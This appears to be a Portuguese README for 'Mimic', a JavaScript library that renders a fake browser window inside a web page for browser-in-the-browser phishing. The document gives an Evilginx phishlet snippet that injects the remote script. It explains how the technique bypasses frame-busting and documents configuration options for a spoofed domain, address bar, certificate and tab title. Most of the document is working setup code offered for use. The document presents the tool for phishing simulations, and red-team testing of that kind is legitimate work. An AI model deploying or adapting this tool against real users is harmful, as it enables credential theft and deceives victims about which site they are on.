
Frameless Browser‑in‑the‑Browser (BitB) - Sem iframes, sem problemas de frame-busting. Uma biblioteca de um único script baseada em Shadow DOM / MutationObserver para simulações realistas de phishing, facilmente injetada via proxy reverso.
Frameless Browser‑in‑the‑Browser (BitB) - Sem iframes, sem problemas de frame-busting. Uma biblioteca de Shadow DOM / MutationObserver de script único para simulações de phishing realistas, facilmente injetada via proxy reverso.
⚠️ Aviso: Utilize este software apenas de acordo com a legislação vigente. O uso indevido deste software pode levantar questões legais e éticas, pelas quais não dou suporte nem posso ser responsabilizado.
MalwareMonster e eu desenvolvemos uma prova de conceito nessa linha há aproximadamente sete anos, chamada FISHY. O projeto demonstrou com sucesso o vetor BitB, embora a usabilidade fosse bastante limitada. mrd0x posteriormente trouxe esse conceito para a atenção mais ampla da comunidade de pesquisa em segurança com seu projeto BITB cerca de dois anos depois. No entanto, a forte dependência de iframes mostrou-se incompatível com as técnicas modernas de frame-busting. Embora fosse possível usar substituições para reescrever o JavaScript de frame-busting, essa abordagem se mostrou tediosa e exigia ajustes contínuos.
waelmas lançou então o frameless-bitb cerca de 2 anos depois, introduzindo um mecanismo particularmente engenhoso. Ao substituir o iframe por um Shadow DOM combinado a um MutationObserver, ele efetivamente reatribuiu o conteúdo de phishing para uma div dentro do documento principal. Crucialmente, esse conteúdo permaneceu parte do DOM principal, em vez de residir em um frame isolado. Como a própria página de phishing ainda era o DOM principal, as rotinas de frame-busting nunca eram acionadas em primeiro lugar. Isso resolveu o obstáculo técnico central, representou um avanço significativo e forneceu uma base conceitual sólida para refinamentos futuros.
Com essa inovação, o waelmas efetivamente passou o bastão de volta para nós. Sua implementação envolvia uma arquitetura mais distribuída, exigindo instalação de serviços, configuração Apache, arquivos HTML, CSS e JavaScript separados, interfaces de usuário distintas e uma seleção estática de sistema operacional (Windows ou macOS), sem detecção dinâmica de navegador. Embora esses elementos fossem razoáveis dada a natureza de prova de conceito, reconhecemos que a lógica central de Shadow DOM e MutationObserver poderia ser isolada e injetada diretamente no nosso proxy reverso Evilginx existente por meio de um único script. Isso nos permitiu produzir uma biblioteca JavaScript leve, sem dependências, que renderiza um navegador falso realista dentro de qualquer página da web, sem iframes, ao mesmo tempo em que preserva a técnica criativa de bypass originalmente introduzida por waelmas.
O Mimic cria um navegador falso realista sobre a página da web atual, completo com barra de endereço, controles de janela, informações do site, detalhes do certificado, cookies e dados do site, temas e estilos específicos do sistema operacional.
Em vez de carregar o site de destino dentro de um iframe, o Mimic pega o DOM real do site e o injeta diretamente na viewport do navegador falso.
O próprio navegador falso vive dentro de um Shadow DOM aberto, que isola seus estilos do site. O site permanece no light DOM e é inserido no navegador falso por meio de:
<slot name="mimic-content"></slot>
Se nenhum content for fornecido, o Mimic captura automaticamente a página atual movendo o conteúdo existente do corpo para um wrapper interno. Ele preserva estilos importantes, como fundo, cor do texto, fontes, tamanho da fonte e altura da linha, antes de injetar o site no navegador falso.
Como o site é movido para dentro do navegador falso, em vez de embutido em outro contexto de navegação, ele continua sendo a página real de nível superior.
Isso significa que verificações tradicionais de frame-busting baseadas em iframes, como:
if (top !== self) {
top.location = self.location;
}
não são acionadas, porque:
top === self
O site ainda acredita que está sendo executado como página de nível superior. Seu JavaScript, eventos, armazenamento, navegação e lógica de aplicativo existentes continuam operando normalmente enquanto a página está visualmente contida dentro do navegador falso.
O Mimic também dimensiona automaticamente o site injetado para caber na viewport do navegador falso. A rolagem é tratada pela tradução da camada de conteúdo, enquanto listeners de redimensionamento e MutationObserver remensuram o conteúdo conforme o site carrega ou muda.
A aba do navegador real também pode ser controlada usando documentTitle e documentFavicon. O Mimic monitora ambos os valores e os restaura se o site tentar alterá-los.
O Mimic é encapsulamento visual, não uma sandbox de JavaScript. O site injetado mantém acesso às APIs reais de
window,document, armazenamento, histórico e navegação.
Adicione isto ao seu YAML de phishlet para injetar o Mimic:
script: |
// Inject the BitB script
(function () {
window.addEventListener('load', () => {
var s = document.createElement('script');
s.src = 'https://0x4meliorate.github.io/Mimic/mimic.js';
s.onload = function () {
openBrowserWindow({ debug: false });
};
document.body.appendChild(s);
});
})();
A configuração pode ser alterada diretamente na CONFIG do mimic.js, ou pode ser passada como argumentos quando a função (openBrowserWindow) é invocada:
openBrowserWindow({
// Displayed URL
domain: 'example.com',
addressText: '/login',
scheme: 'https://',
// Fake browser
pageTitle: 'Example - Sign in',
favicon: 'https://example.com/favicon.ico',
// Real browser tab
documentTitle: 'Example App',
documentFavicon: 'https://example.com/app.ico',
// Content
// HTMLElement, CSS selector, HTML string, or function
// Leave empty to capture the current website automatically
content: '',
contentWidth: 0,
// Fake browser size
windowWidth: 'min(800px, 95vw)',
windowHeight: 'min(650px, 90vh)',
// Browser-style links
learnMoreUrl: 'https://example.com/security',
siteSettingsUrl: 'https://example.com/settings',
// Cookie summary
cookies: {
sitesAllowed: '5 sites allowed'
},
// Behaviour
autoOpen: false,
os: null, // null (auto) | 'mac' | 'windows' | 'linux'
theme: 'auto', // 'auto' | 'light' | 'dark'
debug: false,
onClose: null,
// Landing page
landing: true, // true | false | custom HTML string
enterSelector: '#landingpage-enter-btn',
// On-device site data
siteData: {
intro: 'Sites may save activity to your device.',
manageLinkText: 'Manage site data',
manageUrl: '',
sections: [
{
title: "Data from the site that you're visiting",
description: 'Information stored by this site.',
sites: [
{ name: 'example.com' },
{
name: 'cdn.example.com',
subtitle: 'Additional site information'
}
]
}
]
},
// Certificate viewer
certificate: {
subject: {
commonName: 'example.com',
organisation: 'Example Corporation',
organisationalUnit: '<Not part of certificate>'
},
issuer: {
commonName: 'Example TLS CA',
organisation: 'Example Certificate Authority',
organisationalUnit: '<Not part of certificate>'
},
validity: {
issuedOn: '10 August 2026',
expiresOn: '18 November 2026'
},
fingerprints: {
certificate: '...',
publicKey: '...'
},
hierarchy: {
name: 'Example Root CA',
children: [
{
name: 'Example Intermediate CA'
}
]
},
fields: {
name: 'example.com',
children: [
{
name: 'Certificate',
children: [
{ name: 'Version', value: 'V3' },
{ name: 'Serial Number', value: '...' },
{ name: 'Subject', value: 'CN = example.com' }
]
}
]
}
}
});
Capturar e injetar o site atual:
openBrowserWindow();
Abrir sem a página de destino:
openBrowserWindow({
landing: false
});
Abrir automaticamente a janela do navegador falso:
openBrowserWindow({
autoOpen: true
});
Ativar depuração (alternância de SO e tema):
openBrowserWindow({
debug: true
});
Substituir a aparência manualmente:
openBrowserWindow({
os: 'windows',
theme: 'dark'
});
Definir o conteúdo da janela do navegador falso (Elemento, seletor, string HTML ou função para injetar no navegador falso):
openBrowserWindow({
content: '#page-content'
});
| Option | Description |
|---|
domain | Domínio exibido na barra de endereço falsa |
addressText | Caminho e consulta exibidos após o domínio |
scheme | Esquema de URL exibido |
pageTitle | Título da janela do navegador falso |
favicon | Favicon do navegador falso |
documentTitle | Título da aba do navegador real |
documentFavicon | Favicon da aba do navegador real |
content | Elemento, seletor, string HTML ou função a ser injetada no navegador falso |
contentWidth | Largura base usada ao dimensionar o site injetado |
windowWidth | Largura do navegador falso |
windowHeight | Altura do navegador falso |
learnMoreUrl | Destino do link Saiba Mais de segurança |
siteSettingsUrl | Destino para Configurações do Site |
cookies | Configuração do resumo de cookies |
autoOpen | Abre automaticamente o navegador falso quando a página de destino é criada |
os | null, mac, windows ou linux; null usa detecção automática |
theme | auto, light ou dark |
debug | Exibe o alternador de SO e tema |
onClose | Função chamada quando o navegador falso fecha |
landing | Ativa, desativa ou substitui a página de destino |
enterSelector | Seletor para o elemento de destino que abre o navegador falso |
siteData | Configura a caixa de diálogo de dados do site no dispositivo |
certificate | Configura o visualizador de certificado |